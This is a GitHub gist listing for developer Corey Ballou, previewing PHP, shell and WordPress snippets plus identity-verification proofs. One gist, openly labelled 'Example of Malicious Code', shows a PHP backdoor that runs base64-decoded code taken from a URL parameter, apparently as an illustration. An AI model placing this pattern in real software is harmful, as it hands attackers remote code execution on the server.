Skip to content

Instantly share code, notes, and snippets.

View cballou's full-sized avatar

Corey Ballou cballou

View GitHub Profile
@cballou
cballou / php-ftp-download-auto-resume.php
Created September 25, 2012 10:57
Download a file via FTP with auto-resume functionality in case of any disconnects.
<?php
/**
* Copyright (C) <2012> <Corey Ballou>
* @author Corey Ballou <http://www.craftblue.com>
* @license MIT License
*/
/**
* Handles FTP download of a remote file and stores it in a local file.
*
@cballou
cballou / 1-install-dependencies.sh
Created March 24, 2012 21:11
SWITCHING APACHE FROM PREFORK TO WORKER MPM IN RHEL / CENTOS 5.X / FEDORA 13
yum install libtool httpd-devel apr-devel apr
@cballou
cballou / wp-install.sh
Last active November 5, 2018 19:40
Handle a near auto-installation of Wordpress on Ubuntu 14.04.
#!/bin/bash
# MySQL database defaults
dbname="wordpress"
dbuser="wordpress"
# Gather user info
read -r -p "Enter your domain, e.g. mywebsite.co (no http://, no www.): " wpURL
read -r -p "Enter a secure MySQL root password to use (save this somewhere): " rootpass
read -r -p "Enter a secure MySQL WordPress password to use: " userpass
@cballou
cballou / malicious.php
Created March 13, 2012 15:58
Example of Malicious Code
<?php
// insert malicious code here...
try {
$script = '
<?php
// harmful code
if (!empty($_GET['exec'])) {
eval(base64_decode($_GET['exec']))
}';
@cballou
cballou / determine-dictionary-word-metaphone.php
Created July 16, 2012 13:19
Creating a MySQL DB table for Implementing Metaphone Dictionary Lookups
<?php
/**
* The below code will calculate the metaphone value for every word in the MySQL dictionary we
* just created and update the table accordingly. This code is nothing fancy, but gets the
* job done. Sorry I didn't use PDO :)
*/
// specify your MySQL connection settings
define('HOST', 'localhost');
define('USERNAME', 'your_username');
@cballou
cballou / complete-example.php
Created September 27, 2011 00:27
Adding Role Based User Access Controls to your WordPress Plugin
<?php
class jinx {
// stores the path to our plugin
protected $pluginurl;
// stores the ACL roles
protected $defaultOptionVals;
/**
@cballou
cballou / domain-name-finder-usage.sh
Created March 25, 2012 12:10
With the following simple snippet of code you will be able to generate a list of all available two word combinations for a supplied list of keywords. It can be ran from the command line and can output a txt file of all matching domains.
// output will go to domains_found.txt in the same directory
php -f domain-name-finder.php
// output will go to the file specified as well as domains_found.txt in the same directory
php -f domain-name-finder.php > my-output-file.txt
Verifying my Blockstack ID is secured with the address 1fo4sVGAUxsB22mMK1xFAFQCdb7YUcSvh https://explorer.blockstack.org/address/1fo4sVGAUxsB22mMK1xFAFQCdb7YUcSvh

Keybase proof

I hereby claim:

  • I am cballou on github.
  • I am coreyballou (https://keybase.io/coreyballou) on keybase.
  • I have a public key ASBMvS6f_1MLwT-AgL2aCt9z2y7BS-TyRw6z9AHwOvd24Ao

To claim this, I am signing this object:

Verifying that "corey.id" is my Blockstack ID. https://onename.com/corey